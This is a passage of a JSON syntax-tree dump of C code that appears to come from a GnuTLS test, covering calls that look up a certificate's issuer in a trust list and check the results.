40}, "end_point": {"row": 232, "column": 83}}, {"id": 809, "type": "identifier", "text": "tl", "parent": 808, "children": [], "start_point": {"row": 232, "column": 41}, "end_point": {"row": 232, "column": 43}}, {"id": 810, "type": "subscript_expression", "text": "certs[2]", "parent": 808, "children": [811, 812], "start_point": {"row": 232, "column": 45}, "end_point": {"row": 232, "column": 53}}, {"id": 811, "type": "identifier", "text": "certs", "parent": 810, "children": [], "start_point": {"row": 232, "column": 45}, "end_point": {"row": 232, "column": 50}}, {"id": 812, "type": "number_literal", "text": "2", "parent": 810, "children": [], "start_point": {"row": 232, "column": 51}, "end_point": {"row": 232, "column": 52}}, {"id": 813, "type": "pointer_expression", "text": "&issuer", "parent": 808, "children": [814], "start_point": {"row": 232, "column": 55}, "end_point": {"row": 232, "column": 62}}, {"id": 814, "type": "identifier", "text": "issuer", "parent": 813, "children": [], "start_point": {"row": 232, "column": 56}, "end_point": {"row": 232, "column": 62}}, {"id": 815, "type": "identifier", "text": "GNUTLS_TL_GET_COPY", "parent": 808, "children": [], "start_point": {"row": 232, "column": 64}, "end_point": {"row": 232, "column": 82}}, {"id": 816, "type": "if_statement", "text": "if (ret < 0) {\n\t\tfail(\"error in gnutls_x509_trust_list_get_issuer\\n\");\n\t\texit(1);\n\t}", "parent": 139, "children": [817], "start_point": {"row": 233, "column": 1}, "end_point": {"row": 236, "column": 2}}, {"id": 817, "type": "parenthesized_expression", "text": "(ret < 0)", "parent": 816, "children": [818], "start_point": {"row": 233, "column": 4}, "end_point": {"row": 233, "column": 13}}, {"id": 818, "type": "binary_expression", "text": "ret < 0", "parent": 817, "children": [819, 820, 821], "start_point": {"row": 233, "column": 5}, "end_point": {"row": 233, "column": 12}}, {"id": 819, "type": "identifier", "text": "ret", "parent": 818, "children": [], "start_point": {"row": 233, "column": 5}, "end_point": {"row": 233, "column": 8}}, {"id": 820, "type": "<", "text": "<", "parent": 818, "children": [], "start_point": {"row": 233, "column": 9}, "end_point": {"row": 233, "column": 10}}, {"id": 821, "type": "number_literal", "text": "0", "parent": 818, "children": [], "start_point": {"row": 233, "column": 11}, "end_point": {"row": 233, "column": 12}}, {"id": 822, "type": "call_expression", "text": "fail(\"error in gnutls_x509_trust_list_get_issuer\\n\")", "parent": 816, "children": [823, 824], "start_point": {"row": 234, "column": 2}, "end_point": {"row": 234, "column": 54}}, {"id": 823, "type": "identifier", "text": "fail", "parent": 822, "children": [], "start_point": {"row": 234, "column": 2}, "end_point": {"row": 234, "column": 6}}, {"id": 824, "type": "argument_list", "text": "(\"error in gnutls_x509_trust_list_get_issuer\\n\")", "parent": 822, "children": [825], "start_point": {"row": 234, "column": 6}, "end_point": {"row": 234, "column": 54}}, {"id": 825, "type": "string_literal", "text": "\"error in gnutls_x509_trust_list_get_issuer\\n\"", "parent": 824, "children": [826], "start_point": {"row": 234, "column": 7}, "end_point": {"row": 234, "column": 53}}, {"id": 826, "type": "escape_sequence", "text": "\\n", "parent": 825, "children": [], "start_point": {"row": 234, "column": 50}, "end_point": {"row": 234, "column": 52}}, {"id": 827, "type": "call_expression", "text": "exit(1)", "parent": 816, "children": [828, 829], "start_point": {"row": 235, "column": 2}, "end_point": {"row": 235, "column": 9}}, {"id": 828, "type": "identifier", "text": "exit", "parent": 827, "children": [], "start_point": {"row": 235, "column": 2}, "end_point": {"row": 235, "column": 6}}, {"id": 829, "type": "argument_list", "text": "(1)", "parent": 827, "children": [830], "start_point": {"row": 235, "column": 6}, "end_point": {"row": 235, "column": 9}}, {"id": 830, "type": "number_literal", "text": "1", "parent": 829, "children": [], "start_point": {"row": 235, "column": 7}, "end_point": {"row": 235, "column": 8}}, {"id": 831, "type": "if_statement", "text": "if (issuer == NULL) {\n\t\tfail(\"error in gnutls_x509_trust_list_get_issuer return value\\n\");\n\t\texit(1);\n\t}", "parent": 139, "children": [832], "start_point": {"row": 237, "column": 1}, "end_point": {"row": 240, "column": 2}}, {"id": 832, "type": "parenthesized_expression", "text": "(issuer == NULL)", "parent": 831, "children": [833], "start_point": {"row": 237, "column": 4}, "end_point": {"row": 237, "column": 20}}, {"id": 833, "type": "binary_expression", "text": "issuer == NULL", "parent": 832, "children": [834, 835, 836], "start_point": {"row": 237, "column": 5}, "end_point": {"row": 237, "column": 19}}, {"id": 834, "type": "identifier", "text": "issuer", "parent": 833, "children": [], "start_point": {"row": 237, "column": 5}, "end_point": {"row": 237, "column": 11}}, {"id": 835, "type": "==", "text": "==", "parent": 833, "children": [], "start_point": {"row": 237, "column": 12}, "end_point": {"row": 237, "column": 14}}, {"id": 836, "type": "null", "text": "NULL", "parent": 833, "children": [837], "start_point": {"row": 237, "column": 15}, "end_point": {"row": 237, "column": 19}}, {"id": 837, "type": "NULL", "text": "NULL", "parent": 836, "children": [], "start_point": {"row": 237, "column": 15}, "end_point": {"row": 237, "column": 19}}, {"id": 838, "type": "call_expression", "text": "fail(\"error in gnutls_x509_trust_list_get_issuer return value\\n\")", "parent": 831, "children": [839, 840], "start_point": {"row": 238, "column": 2}, "end_point": {"row": 238, "column": 67}}, {"id": 839, "type": "identifier", "text": "fail", "parent": 838, "children": [], "start_point": {"row": 238, "column": 2}, "end_point": {"row": 238, "column": 6}}, {"id": 840, "type": "argument_list", "text": "(\"error in gnutls_x509_trust_list_get_issuer return value\\n\")", "parent": 838, "children": [841], "start_point": {"row": 238, "column": 6}, "end_point": {"row": 238, "column": 67}}, {"id": 841, "type": "string_literal", "text": "\"error in gnutls_x509_trust_list_get_issuer return value\\n\"", "parent": 840, "children": [842], "start_point": {"row": 238, "column": 7}, "end_point": {"row": 238, "column": 66}}, {"id": 842, "type": "escape_sequence", "text": "\\n", "parent": 841, "children": [], "start_point": {"row": 238, "column": 63}, "end_point": {"row": 238, "column": 65}}, {"id": 843, "type": "call_expression", "text": "exit(1)", "parent": 831, "children": [844, 845], "start_point": {"row": 239, "column": 2}, "end_point": {"row": 239, "column": 9}}, {"id": 844, "type": "identifier", "text": "exit", "parent": 843, "children": [], "start_point": {"row": 239, "column": 2}, "end_point": {"row": 239, "column": 6}}, {"id": 845, "type": "argument_list", "text": "(1)", "parent": 843, "children": [846], "start_point": {"row": 239, "column": 6}, "end_point": {"row": 239, "column": 9}}, {"id": 846, "type": "number_literal", "text": "1", "parent": 845, "children": [], "start_point": {"row": 239, "column": 7}, "end_point": {"row": 239, "column": 8}}, {"id": 847, "type": "call_expression", "text": "gnutls_x509_crt_deinit(issuer)", "parent": 139, "children": [848, 849], "start_point": {"row": 241, "column": 1}, "end_point": {"row": 241, "column": 31}}, {"id": 848, "type": "identifier", "text": "gnutls_x509_crt_deinit", "parent": 847, "children": [], "start_point": {"row": 241, "column": 1}, "end_point": {"row": 241, "column": 23}}, {"id": 849, "type": "argument_list", "text": "(issuer)", "parent": 847, "children": [850], "start_point": {"row": 241, "column": 23}, "end_point": {"row": 241, "column": 31}}, {"id": 850, "type": "identifier", "text": "issuer", "parent": 849, "children": [], "start_point": {"row": 241, "column": 24}, "end_point": {"row": 241, "column": 30}}, {"id": 851, "type": "assignment_expression", "text": "issuer = NULL", "parent": 139, "children": [852, 853, 854], "start_point": {"row": 244, "column": 1}, "end_point": {"row": 244, "column": 14}}, {"id": 852, "type": "identifier", "text": "issuer", "parent": 851, "children": [], "start_point": {"row": 244, "column": 1}, "end_point": {"row": 244, "column": 7}}, {"id": 853, "type": "=", "text": "=", "parent": 851, "children": [], "start_point": {"row": 244, "column": 8}, "end_point": {"row": 244, "column": 9}}, {"id": 854, "type": "null", "text": "NULL", "parent": 851, "children": [855], "start_point": {"row": 244, "column": 10}, "end_point": {"row": 244, "column": 14}}, {"id": 855, "type": "NULL", "text": "NULL", "parent": 854, "children": [], "start_point": {"row": 244, "column": 10}, "end_point": {"row": 244, "column": 14}}, {"id": 856, "type": "assignment_expression", "text": "ret = gnutls_x509_trust_list_get_issuer(tl, certs[2], &issuer, 0)", "parent": 139, "children": [857, 858, 859], "start_point": {"row": 245, "column": 1}, "end_point": {"row": 245, "column": 66}}, {"id": 857, "type": "identifier", "text": "ret", "parent": 856, "children": [], "start_point": {"row": 245, "column": 1}, "end_point": {"row": 245, "column": 4}}, {"id": 858, "type": "=", "text": "=", "parent": 856, "children": [], "start_point": {"row": 245, "column": 5}, "end_point": {"row": 245, "column": 6}}, {"id": 859, "type": "call_expression", "text": "gnutls_x509_trust_list_get_issuer(tl, certs[2], &issuer, 0)", "parent": 856, "children": [860, 861], "start_point": {"row": 245, "column": 7}, "end_point": {"row": 245, "column": 66}}, {"id": 860, "type": "identifier", "text": "gnutls_x509_trust_list_get_issuer", "parent": 859, "children": [], "start_point": {"row": 245, "column": 7}, "end_point": {"row": 245, "column": 40}}, {"id": 861, "type": "argument_list", "text": "(tl, certs[2], &issuer, 0)", "parent": 859, "children": [862, 863, 866, 868], "start_point": {"row": 245, "column": 40}, "end_point": {"row": 245, "column": 66}}, {"id": 862, "type": "identifier", "text": "tl", "parent": 861, "children": [], "start_point": {"row": 245, "column": 41}, "end_point": {"row": 245, "column": 43}}, {"id": 863, "type": "subscript_expression", "text": "certs[2]", "parent": 861, "children": [864, 865], "start_point": {"row": 245, "column": 45}, "end_point": {"row": 245, "column": 53}}, {"id": 864, "type": "identifier", "text": "certs", "parent": 863, "children": [], "start_point": {"row": 245, "column": 45}, "end_point": {"row": 245, "column": 50}}, {"id": 865, "type": "number_literal", "text": "2", "parent": 863, "children": [], "start_point": {"row": 245, "column": 51}, "end_point": {"row": 245, "column": 52}}, {"id": 866, "type": "pointer_expression", "text": "&issuer", "parent": 861, "children": [867], "start_point": {"row": 245, "column": 55}, "end_point": {"row": 245, "column": 62}}, {"id": 867, "type": "identifier", "text": "issuer", "parent": 866, "children": [], "start_point": {"row": 245, "column": 56}, "end_point": {"row": 245, "column": 62}}, {"id": 868, "type": "number_literal", "text": "0", "parent": 861, "children": [], "start_point": {"row": 245, "column": 64}, "end_point": {"row": 245, "column": 65}}, {"id": 869, "type": "if_statement", "text": "if (ret < 0) {\n\t\tfail(\"error in gnutls_x509_trust_list_get_issuer\\n\");\n\t\texit(1);\n\t}", "parent": 139, "children": [870], "start_point": {"row": 246, "column": 1}, "end_point": {"row": 249, "column": 2}}, {"id": 870, "type": "parenthesized_expression", "text": "(ret < 0)", "parent": 869, "children": [871], "start_point": {"row": 246, "column": 4}, "end_point": {"row": 246, "column": 13}}, {"id": 871, "type": "binary_expression", "text": "ret < 0", "parent": 870, "children": [872, 873, 874], "start_point": {"row": 246, "column": 5}, "end_point": {"row": 246, "column": 12}}, {"id": 872, "type": "identifier", "text": "ret", "parent": 871, "children": [], "start_point": {"row": 246, "column": 5}, "end_point": {"row": 246, "column": 8}}, {"id": 873, "type": "<", "text": "<", "parent": 871, "children": [], "start_point": {"row": 246, "column": 9}, "end_point": {"row": 246, "column": 10}}, {"id": 874, "type": "number_literal", "text": "0", "parent": 871, "children": [], "start_point": {"row": 246, "column": 11}, "end_point": {"row": 246, "column": 12}}, {"id": 875, "type": "call_expression", "text": "fail(\"error in gnutls_x509_trust_list_get_issuer\\n\")", "parent": 869, "children": [876, 877], "start_point": {"row": 247, "column": 2}, "end_point": {"row": 247, "column": 54}}, {"id": 876, "type": "identifier", "text": "fail", "parent": 875, "children": [], "start_point": {"row": 247, "column": 2}, "end_point": {"row": 247, "column": 6}}, {"id": 877, "type": "argument_list", "text": "(\"error in gnutls_x509_trust_list_get_issuer\\n\")", "parent": 875, "children": [878], "start_point": {"row": 247, "column": 6}, "end_point": {"row": 247, "column": 54}}, {"id": 878, "type": "string_literal", "text": "\"error in gnutls_x509_trust_list_get_issuer\\n\"", "parent": 877, "children": [879], "start_point": {"row": 247, "column": 7}, "end_point": {"row": 247, "column": 53}}, {"id": 879, "type": "escape_sequence", "text": "\\n", "parent": 878, "children": [], "start_point": {"row": 247, "column": 50}, "end_point": {"row": 247, "column": 52}}, {"id": 880, "type": "call_expression", "text": "exit(1)", "parent": 869, "children": [881, 882], "start_point": {"row": 248, "column": 2}, "end_point": {"row": 248, "column": 9}}, {"id": 881, "type": "identifier", "text": "exit", "parent": 880, "children": [], "start_point": {"row": 248, "column": 2}, "end_point": {"row": 248, "column": 6}}, {"id": 882, "type": "argument_list", "text": "(1)", "parent": 880, "children": [883], "start_point": {"row": 248, "column": 6}, "end_point": {"row": 248, "column": 9}}, {"id": 883, "type": "number_literal", "text": "1", "parent": 882, "children": [], "start_point": {"row": 248, "column": 7}, "end_point": {"row": 248, "column": 8}}, {"id": 884, "type": "if_statement", "text": "if (issuer == NULL) {\n\t\tfail(\"error in gnutls_x509_trust_list_get_issuer return value\\n\");\n\t\texit(1);\n\t}", "parent": 139, "children": [885], "start_point": {"row": 250, "column": 1}, "end_point": {"row": 253, "column": 2}}, {"id": 885, "type": "parenthesized_expression", "text": "(issuer == NULL)", "parent": 884, "children": [886], "start_point": {"row": 250, "column": 4}, "end_point": {"row": 250, "column": 20}}, {"id": 886, "type": "binary_expression", "text": "issuer == NULL", "parent": 885, "children": [887, 888, 889], "start_point": {"row": 250, "column": 5}, "end_point": {"row": 250, "column": 19}}, {"id": 887, "type": "identifier", "text": "issuer", "parent": 886, "children": [], "start_point": {"row": 250, "column": 5}, "end_point": {"row": 250, "column": 11}}, {"id": 888, "type": "==", "text": "==", "parent": 886, "children": [], "start_point": {"row": 250, "column": 12}, "end_point": {"row": 250, "column": 14}}, {"id": 889, "type": "null", "text": "NULL", "parent": 886, "children": [890], "start_point": {"row": 250, "column": 15}, "end_point": {"row": 250, "column": 19}}, {"id": 890, "type": "NULL", "text": "NULL", "parent": 889, "children": [], "start_point": {"row": 250, "column": 15}, "end_point": {"row": 250, "column": 19}}, {"id": 891, "type": "call_expression", "text": "fail(\"error in gnutls_x509_trust_list_get_issuer return value\\n\")", "parent": 884, "children": [892, 893], "start_point": {"row": 251, "column": 2}, "end_point": {"row": 251, "column": 67}}, {"id": 892, "type": "identifier", "text": "fail", "parent": 891, "children": [], "start_point": {"row": 251, "column": 2}, "end_point": {"row": 251, "column": 6}}, {"id": 893, "type": "argument_list", "text": "(\"error in gnutls_x509_trust_list_get_issuer return value\\n\")", "parent": 891, "children": [894], "start_point": {"row": 251, "column": 6}, "end_point": {"row": 251, "column": 67}}, {"id": 894, "type": "string_literal", "text": "\"error in gnutls_x509_trust_list_get_issuer return value\\n\"", "parent": 893, "children": [895], "start_point": {"row": 251, "column": 7}, "end_point": {"row": 251, "column": 66}}, {"id": 895, "type": "escape_sequence", "text": "\\n", "parent": 894, "children": [], "start_point": {"row": 251, "column": 63}, "end_point": {"row": 251, "column": 65}}, {"id": 896, "type": "call_expression", "text": "exit(1)", "parent": 884, "children": [897, 898], "start_point": {"row": 252, "column": 2}, "end_point": {"row": 252, "column": 9}}, {"id": 897, "type": "identifier", "text": "exit", "parent": 896, "children": [], "start_point": {"row": 252, "column": 2}, "end_point": {"row": 252, "column": 6}}, {"id": 898, "type": "argument_list", "text": "(1)", "parent": 896, "children": [899], "start_point": {"row": 252, "column": 6}, "end_point": {"row": 252, "column": 9}}, {"id": 899, "type": "number_literal", "text": "1", "parent": 898, "children": [], "start_point": {"row": 252, "column": 7}, "end_point": {"row": 252, "column": 8}}, {"id": 900, "type": "assignment_expression", "text": "ret = gnutls_x509_trust_list_get_issuer(tl, certs[2], &issuer, 0)", "parent": 139, "children": [901, 902, 903], "start_point": {"row": 256, "column": 1}, "end_point": {"row": 256, "column": 66}}, {"id": 901, "type": "identifier", "text": "ret", "parent": 900, "children": [], "start_point": {"row": 256, "column": 1}, "end_point": {"row": 256, "column": 4}}, {"id": 902, "type": "=", "text": "=", "parent": 900, "children": [], "start_point": {"row": 256, "column": 5}, "end_point": {"row": 256, "column": 6}}, {"id": 903, "type": "call_expression", "text": "gnutls_x509_trust_list_get_issuer(tl, certs[2], &issuer, 0)", "parent": 900, "children": [904, 905], "start_point": {"row": 256, "column": 7}, "end_point": {"row": 256, "column": 66}}, {"id": 904, "type": "identifier", "text": "gnutls_x509_trust_list_get_issuer", "parent": 903, "children": [], "start_point": {"row": 256, "column": 7}, "end_point": {"row": 256, "column": 40}}, {"id": 905, "type": "argument_list", "text": "(tl, certs[2], &issuer, 0)", "parent": 903, "children": [906, 907, 910, 912], "start_point": {"row": 256, "column": 40}, "end_point": {"row": 256, "column": 66}}, {"id": 906, "type": "identifier", "text": "tl", "parent": 905, "children": [], "start_point": {"row": 256, "column": 41}, "end_point": {"row": 256, "column": 43}}, {"id": 907, "type": "subscript_expression", "text": "certs[2]", "parent": 905, "children": [908, 909], "start_point": {"row": 256, "column": 45}, "end_point": {"row": 256, "column": 53}}, {"id": 908, "type": "identifier", "text": "certs", "parent": 907, "children": [], "start_point": {"row": 256, "column": 45}, "end_point": {"row": 256, "column": 50}}, {"id": 909, "type": "number_literal", "text": "2", "parent": 907, "children": [], "start_point": {"row": 256, "column": 51}, "end_point": {"row": 256, "column": 52}}, {"id": 910, "type": "pointer_expression", "text": "&issuer", "parent": 905, "children": [911], "start_point": {"row": 256, "column": 55}, "end_point": {"row": 256, "column": 62}}, {"id": 911, "type": "identifier", "text": "issuer", "parent": 910, "children": [], "start_point": {"row": 256, "column": 56}, "end_point": {"row": 256, "column": 62}}, {"id": 912, "type": "number_literal", "text": "0", "parent": 905, "children": [], "start_point": {"row": 256, "column": 64}, "end_point": {"row": 256, "column": 65}}, {"id": 913, "type": "if_statement", "text": "if (ret < 0) {\n\t\tfail(\"error in gnutls_x509_trust_list_get_issuer\\n\");\n\t\texit(1);\n\t}", "parent": 139, "children": [914], "start_point": {"row": 257, "column": 1}, "end_point": {"row": 260, "column": 2}}, {"id": 914, "type": "parenthesized_expression", "text": "(ret < 0)", "parent": 913, "children": [915], "start_point": {"row": 257, "column": 4}, "end_point": {"row": 257, "column": 13}}, {"id": 915, "type": "binary_expression", "text": "ret < 0", "parent": 914, "children": [916, 917, 918], "start_point": {"row": 257, "column": 5}, "end_point": {"row": 257, "column": 12}}, {"id": 916, "type": "identifier", "text": "ret", "parent": 915, "children": [], "start_point": {"row": 257, "column": 5}, "end_point": {"row": 257, "column": 8}}, {"id": 917, "type": "<", "text": "<", "parent": 915, "children": [], "start_point": {"row": 257, "column": 9}, "end_point": {"row": 257, "column": 10}}, {"id": 918, "type": "number_literal", "text": "0", "parent": 915, "children": [], "start_point": {"row": 257, "column": 11}, "end_point": {"row": 257, "column": 12}}, {"id": 919, "type": "call_expression", "text": "fail(\"error in gnutls_x509_trust_list_get_issuer\\n\")", "parent": 913, "children": [920, 921], "start_point": {"row": 258, "column": 2}, "end_point": {"row": 258, "column": 54}}, {"id": 920, "type": "identifier", "text": "fail", "parent": 919, "children": [], "start_point": {"row": 258, "column": 2}, "end_point": {"row": 258, "column": 6}}, {"id": 921, "type": "argument_list", "text": "(\"error in gnutls_x509_trust_list_get_issuer\\n\")", "parent": 919, "children": [922], "start_point": {"row": 258, "column": 6}, "end_point": {"row": 258, "column": 54}}, {"id": 922, "type": "string_literal", "text": "\"error in gnutls_x509_trust_list_get_issuer\\n\"", "parent": 921, "children": [923], "start_point": {"row": 258, "column": 7}, "end_point": {"row": 258, "column": 53}}, {"id": 923, "type": "escape_sequence", "text": "\\n", "parent": 922, "children": [], "start_point": {"row": 258, "column": 50}, "end_point": {"row": 258, "column": 52}}, {"id": 924, "type": "call_expression", "text": "exit(1)", "parent": 913, "children": [925, 926], "start_point": {"row": 259, "column": 2}, "end_point": {"row": 259, "column": 9}}, {"id": 925, "type": "identifier", "text": "exit", "parent": 924, "children": [], "start_point": {"row": 259, "column": 2}, "end_point": {"row": 259, "column": 6}}, {"id": 926, "type": "argument_list", "text": "(1)", "parent": 924, "children": [927], "start_point": {"row": 259, "column": 6}, "end_point": {"row": 259, "column": 9}}, {"id": 927, "type": "number_literal", "text": "1", "parent": 926, "children": [], "start_point": {"row": 259, "column": 7}, "end_point": {"row": 259, "column": 8}}, {"id": 928, "type": "assignment_expression", "text": "ret = gnutls_x509_crt_get_raw_issuer_dn(certs[2], &tmp)", "parent": 139, "children": [929, 930, 931], "start_point": {"row": 263, "column": 1}, "end_point": {"row": 263, "column": 56}}, {"id": 929, "type": "identifier", "text": "ret", "parent": 928, "children": [], "start_point": {"row": 263, "column": 1}, "end_point": {"row": 263, "column": 4}}, {"id": 930, "type": "=", "text": "=", "parent": 928, "children": [], "start_point": {"row": 263, "column": 5}, "end_point": {"row": 263, "column": 6}}, {"id": 931, "type": "call_expression", "text": "gnutls_x509_crt_get_raw_issuer_dn(certs[2], &tmp)", "parent": 928, "children": [932, 933], "start_point": {"row": 263, "column": 7}, "end_point": {"row": 263, "column": 56}}, {"id": 932, "type": "identifier", "text": "gnutls_x509_crt_get_raw_issuer_dn", "parent": 931, "children": [], "start_point": {"row": 263, "column": 7}, "end_point": {"row": 263, "column": 40}}, {"id": 933, "type": "argument_list", "text": "(certs[2], &tmp)", "parent": 931, "children": [934, 937], "start_point": {"row": 263, "column": 40}, "end_point": {"row": 263, "column": 56}}, {"id": 934, "type": "subscript_expression", "text": "certs[2]", "parent": 933, "children": [935, 936], "start_point": {"row": 263, "column": 41}, "end_point": {"row": 263, "column": 49}}, {"id": 935, "type": "identifier", "text": "certs", "parent": 934, "children": [], "start_point": {"row": 263, "column": 41}, "end_point": {"row": 263, "column": 46}}, {"id": 936, "type": "number_literal", "text": "2", "parent": 934, "children": [], "start_point": {"row": 263, "column": 47}, "end_point": {"row": 263, "column": 48}}, {"id": 937, "type": "pointer_expression", "text": "&tmp", "parent": 933, "children": [938], "start_point": {"row": 263, "column": 51}, "end_point": {"row": 263, "column": 55}}, {"id": 938, "type": "identifier", "text": "tmp", "parent": 937, "children": [], "start_point": {"row": 263, "column": 52}, "end_point": {"row": 263, "column": 55}}, {"id": 939, "type": "if_statement", "text": "if (ret < 0) {\n\t\tfail(\"error in gnutls_x509_crt_get_raw_issuer_dn: %s\\n\", gnutls_strerror(ret));\n\t\texit(1);\n\t}", "parent": 139, "children": [940], "start_point": {"row": 264, "column": 1}, "end_point": {"row": 267, "column": 2}}, {"id": 940, "type": "parenthesized_expression", "text": "(ret < 0)", "parent": 939, "children": [941], "start_point": {"row": 264, "column": 4}, "end_point": {"row": 264, "column": 13}}, {"id": 941, "type": "binary_expression", "text": "ret < 0", "parent": 940, "children": [942, 943, 944], "start_point": {"row": 264, "column": 5}, "end_point": {"row": 264, "column": 12}}, {"id": 942, "type": "identifier", "text": "ret", "parent": 941, "children": [], "start_point": {"row": 264, "column": 5}, "end_point": {"row": 264, "column": 8}}, {"id": 943, "type": "<", "text": "<", "parent": 941, "children": [], "start_point": {"row": 264, "column": 9}, "end_point": {"row": 264, "column": 10}}, {"id": 944, "type": "number_literal", "text": "0", "parent": 941, "children": [], "start_point": {"row": 264, "column": 11}, "end_point": {"row": 264, "column": 12}}, {"id": 945, "type": "call_expression", "text": "fail(\"error in gnutls_x509_crt_get_raw_issuer_dn: %s\\n\", gnutls_strerror(ret))", "parent": 939, "children": [946, 947], "start_point": {"row": 265, "column": 2}, "end_point": {"row": 265, "column": 80}}, {"id": 946, "type": "identifier", "text": "fail", "parent": 945, "children": [], "start_point": {"row": 265, "column": 2}, "end_point": {"row": 265, "column": 6}}, {"id": 947, "type": "argument_list", "text": "(\"error in gnutls_x509_crt_get_raw_issuer_dn: %s\\n\", gnutls_strerror(ret))", "parent": 945, "children": [948, 950], "start_point": {"row": 265, "column": 6}, "end_point": {"row": 265, "column": 80}}, {"id": 948, "type": "string_literal", "text": "\"error in gnutls_x509_crt_get_raw_issuer_dn: %s\\n\"", "parent": 947, "children": [949], "start_point": {"row": 265, "column": 7}, "end_point": {"row": 265, "column": 57}}, {"id": 949, "type": "escape_sequence", "text": "\\n", "parent": 948, "children": [], "start_point": {"row": 265, "column": 54}, "end_point": {"row": 265, "column": 56}}, {"id": 950, "type": "call_expression", "text": "gnutls_strerror(ret)", "parent": 947, "children": [951, 952], "start_point": {"row": 265, "column": 59}, "end_point": {"row": 265, "column": 79}}, {"id": 951, "type": "identifier", "text": "gnutls_strerror", "parent": 950, "children": [], "start_point": {"row": 265, "column": 59}, "end_point": {"row": 265, "column": 74}}, {"id": 952, "type": "argument_list", "text": "(ret)", "parent": 950, "children": [953], "start_point": {"row": 265, "column": 74}, "end_point": {"row": 265, "column": 79}}, {"id": 953, "type": "identifier", "text": "ret", "parent": 952, "children": [], "start_point": {"row": 265, "column": 75}, "end_point": {"row": 265, "column": 78}}, {"id": 954, "type": "call_expression", "text": "exit(1)", "parent": 939, "children": [955, 956], "start_point": {"row": 266, "column": 2}, "end_point": {"row": 266, "column": 9}}, {"id": 955, "type": "identifier", "text": "exit", "parent": 954, "children": [], "start_point": {"row": 266, "column": 2}, "end_point": {"row": 266, "column": 6}}, {"id": 956, "type": "argument_list", "text": "(1)", "parent": 954, "children": [957], "start_point": {"row": 266, "column": 6}, "end_point": {"row": 266, "column": 9}}, {"id": 957, "type": "number_literal", "text": "1", "parent": 956, "children": [], "start_point": {"row": 266, "column": 7}, "end_point": {"row": 266, "column": 8}}, {"id": 958, "type": "assignment_expression", "text": "ret = gnutls_x509_trust_list_get_issuer_by_dn(tl, &tmp, &issuer, 0)", "parent": 139, "children": [959, 960, 961], "start_point": {"row": 269, "column": 1}, "end_point": {"row": 269, "column": 68}}, {"id": 959, "type": "identifier", "text": "ret", "parent": 958, "children": [], "start_point": {"row": 269, "column": 1}, "end_point": {"row": 269, "column": 4}}, {"id": 960, "type": "=", "text": "=", "parent": 958, "children": [], "start_point": {"row": 269, "column": 5}, "end_point": {"row": 269, "column": 6}}, {"id": 961, "type": "call_expression", "text": "gnutls_x509_trust_list_get_issuer_by_dn(tl, &tmp, &issuer, 0)", "parent": 958, "children": [962, 963], "start_point": {"row": 269, "column": 7}, "end_point": {"row": 269, "column": 68}}, {"id": 962, "type": "identifier", "text": "gnutls_x509_trust_list_get_issuer_by_dn", "parent": 961, "children": [], "start_point": {"row": 269, "column": 7}, "end_point": {"row": 269, "column": 46}}, {"id": 963, "type": "argument_list", "text": "(tl, &tmp, &issuer, 0)", "parent": 961, "children": [964, 965, 967, 969], "start_point": {"row": 269, "column": 46}, "end_point": {"row": 269, "column": 68}}, {"id": 964, "type": "identifier", "text": "tl", "parent": 963, "children": [], "start_point": {"row": 269, "column": 47}, "end_point": {"row": 269, "column": 49}}, {"id": 965, "type": "pointer_expression", "text": "&tmp", "parent": 963, "children": [966], "start_point": {"row": 269, "column": 51}, "end_point": {"row": 269, "column": 55}}, {"id": 966, "type": "identifier", "text": "tmp", "parent": 965, "children": [], "start_point": {"row": 269, "column": 52}, "end_point": {"row": 269, "column": 55}}, {"id": 967, "type": "pointer_expression", "text": "&issuer", "parent": 963, "children": [968], "start_point": {"row": 269, "column": 57}, "end_point": {"row": 269, "column": 64}}, {"id": 968, "type": "identifier", "text": "issuer", "parent": 967, "children": [], "start_point": {"row": 269, "column": 58}, "end_point": {"row": 269, "column": 64}}, {"id": 969, "type": "number_literal", "text": "0", "parent": 963, "children": [], "start_point": {"row": 269, "column": 66}, "end_point": {"row": 269, "column": 67}}, {"id": 970, "type": "call_expression", "text": "gnutls_free(tmp.data)", "parent": 139, "children": [971, 972], "start_point": {"row": 270, "column": 1}, "end_point": {"row": 270, "column": 22}}, {"id": 971, "type": "identifier", "text": "gnutls_free", "parent": 970, "children": [], "start_point": {"row": 270, "column": 1}, "end_point": {"row": 270, "column": 12}}, {"id": 972, "type": "argument_list", "text": "(tmp.data)", "parent": 970, "children": [973], "start_point": {"row": 270, "column": 12}, "end_point": {"row": 270, "column": 22}}, {"id": 973, "type": "field_expression", "text": "tmp.data", "parent": 972, "children": [974, 975], "start_point": {"row": 270, "column": 13}, "end_point": {"row": 270, "column": 21}}, {"id": 974, "type": "identifier", "text": "tmp", "parent": 973, "children": [], "start_point": {"row": 270, "column": 13}, "end_point": {"row": 270, "column": 16}}, {"id": 975, "type": "field_identifier", "text": "data", "parent": 973, "children": [], "start_point": {"row": 270, "column": 17}, "end_point": {"row": 270, "column": 21}}, {"id": 976, "type": "if_statement", "text": "if (ret < 0) {\n\t\tfail(\"error in gnutls_x509_trust_list_get_issuer\\n\");\n\t\texit(1);\n\t}", "parent": 139, "children": [977], "start_point": {"row": 271, "column": 1}, "end_point": {"row": 274, "column": 2}}, {"id": 977, "type": "parenthesized_expression", "text": "(ret < 0)", "parent": 976, "children": [978], "start_point": {"row": 271, "column": 4}, "end_point": {"row": 271, "column": 13}}, {"id": 978, "type": "binary_expression", "text": "ret < 0", "parent": 977, "children": [979, 980, 981], "start_point": {"row": 271, "column": 5}, "end_point": {"row": 271, "column": 12}}, {"id": 979, "type": "identifier", "text": "ret", "parent": 978, "children": [], "start_point": {"row": 271, "column": 5}, "end_point": {"row": 271, "column": 8}}, {"id": 980, "type": "<", "text": "<", "parent": 978, "children": [], "start_point": {"row": 271, "column": 9}, "end_point": {"row": 271, "column": 10}}, {"id": 981, "type": "number_literal", "text": "0", "parent": 978, "children": [], "start_point": {"row": 271, "column": 11}, "end_point": {"row": 271, "column": 12}}, {"id": 982, "type": "call_expression", "text": "fail(\"error in gnutls_x509_trust_list_get_issuer\\n\")", "parent": 976, "children": [983, 984], "start_point": {"row": 272, "column": 2}, "end_point": {"row": 272, "column": 54}}, {"id": 983, "type": "identifier", "text": "fail", "parent": 982, "children": [], "start_point": {"row": 272, "column": 2}, "end_point": {"row": 272, "column": 6}}, {"id": 984, "type": "argument_list", "text": "(\"error in gnutls_x509_trust_list_get_issuer\\n\")", "parent": 982, "children": [985], "start_point": {"row": 272, "column": 6}, "end_point": {"row": 272, "column": 54}}, {"id": 985, "type": "string_literal", "text": "\"error in gnutls_x509_trust_list_get_issuer\\n\"", "parent": 984, "children": [986], "start_point": {"row": 272, "column": 7}, 